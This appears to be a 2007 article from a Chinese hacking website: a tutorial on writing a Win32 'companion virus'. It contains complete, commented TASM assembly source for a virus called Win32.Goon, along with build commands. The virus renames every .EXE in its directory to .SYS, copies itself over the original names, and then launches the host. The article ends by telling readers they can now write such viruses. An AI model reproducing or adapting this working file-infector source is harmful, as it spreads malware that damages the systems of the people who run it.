| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 编程技术 >> 黑客编程 >> 文章正文 用户登录 新用户注册
  对简单Win32伴侣病毒的研究        【字体:
对简单Win32伴侣病毒的研究
作者:smtk    文章来源:网络    点击数:    更新时间:2007-1-30    

朋友们好,今天我在29A#6中读到了Benny写的一篇文章。它题目是“病毒界的现状”。我对此进行了思考,而后我决然写这篇教程!因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友,但对于初学者和新手(像我)来说本文有益。是的,希望如此!当我的知识水平更进一步(下一步学习PE)后,我会写下全部所懂与大家分享。现在,教程开始,希望它对你有所帮助并能坚持看完它!

【声明:文中代码仅供参考,请勿用于不当之处!】

1.什么是伴侣病毒

伴侣病毒不改变宿主程序的代码,也没有添加代码,挂起或者其他任何动作。它仅仅是重命名宿主程序,然后把自己复制为宿主程序原来的文件名。当你运行程序时,病毒会首先运行,当它所有工作完成,才接着运行宿主程序。你可以把宿主和病毒两者的文件名都重命名回原先的文件名,这样宿主程序就能恢复正常。下面给出全过程的原理图。

第一步:

/-------------\ /-----------\

| | | |

| Program.EXE | ;目标文件的 | Virus.EXE | ;我们必须了解病毒文件中的

| | ;原先文件名 | | ;API函数: GetCommandLineA

\-------------/ \-----------/

第二步:

/-------------\ /-----------\

| | | |

| Program.EXE | | Virus.EXE |

| | | |

\-------------/ \-----------/

|

|

复制为

|

|

/-------------\

| |

| Program.SYS |

| |

\-------------/

第三步:

/-------------\ /-----------\

| | | |

| Program.EXE |<---------复制为-----------| Virus.EXE |

| | | |

\-------------/ \-----------/

恢复方法:

删除Program.EXE,把Program.SYS重命名回Program.EXE,所做就这些了。

2.伴侣病毒如何工作的

(1) 获取病毒文件的文件名

(2)创建宿主文件的原先文件名

(3)在当前目录搜索到第一个文件

(4)将目标文件复制为另一个文件名

(5)把病毒文件复制为目标文件的原先文件名

(6)搜索下一个文件->重复(4) -->没有其他文件 跳到7.

(7)运行宿主程序 (经过了步骤2)

(8)病毒退出

3.带注释的病毒例子

理论够充足了,让我们看它怎么工作。编译方法:

TASM32 /z /ml /m3 Goon,,; 

TLINK32 -Tpe -c Goon,Goon,, import,lib 





;-----cut----------------------------------------Goon.asm-------------------

.386     ;386指令集 

.model flat    ;内存平坦模式 

jumps     ;TASM rulez 



;+++++ 

; 你能理解,我想 :) 

;+++++ 





extrn GetCommandLineA :PROC  ;获取病毒文件和宿主文件 

extrn lstrcpyA  :PROC  ;复制字符串 

extrn FindFirstFileA :PROC  ;搜索当前目录第一个匹配的文件 

extrn FindNextFileA :PROC  ;通过文件句柄搜索下一个文件 

extrn CopyFileA  :PROC  ;复制文件 (往上看 _2_) 

extrn CreateProcessA :PROC  ;运行宿主 

extrn ExitProcess :PROC  ;退出病毒程序  



;+++++ 

; 这里,我们声明必需的API函数 

; 我想你能理解 

;+++++ 





.data 

Goon   db ’Win32.Goon - Virus’,0 

   db ’Only a Example Code’,0 

   db ’by  DiA/auXnet’,0 





FILETIME  STRUC 

FT_dwLowDateTime dd ? 

FT_dwHighDateTime dd ? 

FILETIME  ENDS 



WIN32_FIND_DATA          label    byte 

 WFD_dwFileAttributes    dd       ? 

 WFD_ftCreationTime      FILETIME ? 

 WFD_ftLastAccessTime    FILETIME ? 

 WFD_ftLastWriteTime     FILETIME ? 

 WFD_nFileSizeHigh       dd       ? 

 WFD_nFileSizeLow        dd       ? 

 WFD_dwReserved0         dd       ? 

 WFD_dwReserved1         dd       ? 

 WFD_szFileName          db       260d dup (?) 

 WFD_szAlternateFileName db       13   dup (?) 

 WFD_szAlternateEnding   db       03   dup (?) 



;+++++ 

; 这是 Win32 Find data: 

; 这里保存关于目标文件的所有数据 

; 我们仅仅对包含目标文件的名称的"WFD_szFileName" 

; 记住我们必须复制目标文件成另外一个文件名, 

; 而把病毒复制成目标文件最先的文件名 

;+++++ 





VirusFile  db 260d dup (0) 

HostFile  db 260d dup (0) 

HostCopy  db 260d dup (0) 



;+++++ 

; 这里创建文件名的空间:病毒文件名,宿主文件名, 

; 还有我们必须创建的文件名(从目标文件复制) 

;+++++ 





FileMask  db ’*.EXE’,0 

FindHandle  dd 0 

ProcessInfo  dd 4 dup (0) 

StartupInfo  dd 4 dup (0) 



;+++++ 

; 包含我们必须搜索的文件 

; FileHandle 包含搜索的文件的句柄 (FindNextFileA) 

; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要) 

;+++++ 





.code 

start: 



;+++++ 

; ROCK ’N ROLL =) 

;+++++ 





call GetCommandLineA 



;+++++ 

; 这里我们获取包含正在运行的程序文件名的CommandLine 

; (病毒文件 :). 现在,line 在eax了, 看下一步... 

;+++++ 





inc eax     ; **** da " 

push eax 

push offset VirusFile 

call lstrcpyA    ;复制它 



;+++++ 

; 为什么要’inc eax’??? 

; 因为CommandLine类似这样:"C:\LUCI\HELL.EXE" (包含 ") 

; 我们不能运行,复制带有"的程序,所以我们走到前面一个地方 

; 它从eax复制到VirusFile 

;+++++ 





mov esi,offset VirusFile  ;now in esi 

call GetPoint    ;call a kewl procedure ;) 



;+++++ 

; we must find da point to **** the other " 

; 让我们看看... 

;+++++ 





mov dword ptr [esi+4],00000000d  ;清除它 



;+++++ 

; 我们走到.EXE后面并清除"号 

; ->现在我们得到完整funcional VirusFile 

;+++++ 





push offset VirusFile 

push offset HostFile 

call lstrcpyA 



;+++++ 

; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS) 

; ... 

;+++++ 





mov esi,offset HostFile 

call GetPoint 



;+++++ 

; 得到指针... 

;+++++ 





mov dword ptr [esi],5359532Eh  ;5359532Eh = ’SYS.’ 



;+++++ 

; 把它重命名为 .SYS (last 4 letters with point) 

; 现在我们得到HostFile, 可能运行宿主... 

; ...但是等等! 我们必须感染文件!!! 

;+++++ 





push offset WIN32_FIND_DATA 

push offset FileMask 

call FindFirstFileA 

mov dword ptr [FindHandle],eax  ;保存句柄 



;+++++ 

; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看... 

; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它... 

;+++++ 





FindNext: 

test eax,eax    ;还有文件? 

jz RunHost    ;如果没有就跳到RunHost 



;+++++ 

; 当eax是null,说明当前目录里没有更多的文件可以被感染了 

; 所有的文件都感染后就运行宿主 

;+++++ 





push offset WFD_szFileName 

push offset HostCopy 

call lstrcpyA 



;+++++ 

; 得制 WFD_szFileName 到 HostCopy 来重命名和复制它 

;+++++ 





mov esi,offset HostCopy 

call GetPoint 



;+++++ 

; 得到指针来重命名文件名为.SYS 

; 稍后使用它复制原先的文件为宿主文件 

;+++++ 





mov dword ptr [esi],5359532Eh  ; SYS. 



;+++++ 

; 把它重命名为 .SYS (last 4 letters) 

; 现在我们做所以工作完成感染目标文件: 

; 病毒文件名 

; 原先文件名 

; 重命名目标文件名 

; rock ’n roll =) 

;+++++ 





push 1     ;如果文件已存在就不复制 

push offset HostCopy 

push offset WFD_szFileName 

call CopyFileA 



;+++++ 

; 现在我们复制.EXE文件为.EXE文件,宿主文件在.sys 

; 如果文件已经存在,我们就不要复制它,我们不能复制它两次 

;+++++ 





push 0     ;无条件复制 

push offset WFD_szFileName 

push offset VirusFile 

call CopyFileA 



;+++++ 

; 我们复制病毒为目标.EXE文件 

; 无条件复制,因为我们不能有两个宿主而没有病毒 

;+++++ 





push offset WIN32_FIND_DATA 

push dword ptr [FindHandle] 

call FindNextFileA 

jmp FindNext 



;+++++ 

; 你还记得我们保存FindHandle吧... 

; 我们搜索更多的文件! 

; 跳到FindNext并检查更多的文件 

;+++++ 





RunHost: 

xor eax,eax    ;null 

push offset ProcessInfo   ;这个,我们不感兴趣 

push offset StartupInfo   ;... 

push eax 

push eax 

push 00000010h    ;创建进程 

push eax 

push eax 

push eax 

push offset HostFile 

push offset HostFile   ;运行它 

call CreateProcessA 



;+++++ 

; 记住我们重命名病文件为宿主文件(.SYS), 现在我们通过这个名运行 

;+++++ 





push 0 

call ExitProcess 



;+++++ 

; 所有这些做完,我们把控制交给宿主 

;+++++ 





GetPoint: 

cmp byte ptr [esi],’.’   ;point? 

jz FoundPoint    ;je return 

inc esi     ;scan next place 

jmp GetPoint 

FoundPoint: 

ret     ;return 



;+++++ 

; at last the GetPoint procedure... 

; scan for ’.’ and if found return to place where are called 

;+++++ 





end start 



;+++++ 

; 晚安 

;+++++ 



;-----cut------------------------------------------------------------

4.结束语

嗯,教程完毕,现在你可以写Win32伴侣病毒了。向Benny/29A表示致谢,是你用杰出的文章激发我写下这篇教程。

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    简单了解局域网内部的ARP攻击
    推荐:找寻蛛丝马迹 简单方法
    shell编程例子 -- 一个简单的
    浏览器遭恶意修改 简单有效的
    简单打造不死鸽子
    简单五步骤预防AV终结者病毒
    简单方法检测电脑是否中病毒
    IP地址冲突简单查找方法与预
    做黑客很简单 用IE浏览器实
    探密QQ登陆加密算法兼谈简单
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.